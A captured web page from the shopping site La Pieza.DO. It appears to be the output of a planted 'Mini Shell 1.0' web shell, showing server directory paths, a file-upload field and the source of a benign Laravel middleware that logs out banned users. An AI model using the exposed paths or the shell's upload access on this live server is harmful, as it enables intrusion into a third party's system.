HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Middleware/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Middleware/IsUnbanned.php
<?php



namespace App\Http\Middleware;



use Closure;

use Auth;



class IsUnbanned

{

    public function handle($request, Closure $next)

    {

        if (auth()->check() && auth()->user()->banned) {        



            $redirect_to = "";

            if(auth()->user()->user_type == 'admin' || auth()->user()->user_type == 'staff'){

                $redirect_to = "login";

            }else{

                $redirect_to = "user.login";

            }



            auth()->logout();



            



            $message = translate("You are banned");

            flash($message);

        

            

                return redirect()->route($redirect_to);

            

            

        }



        return $next($request);

    }

}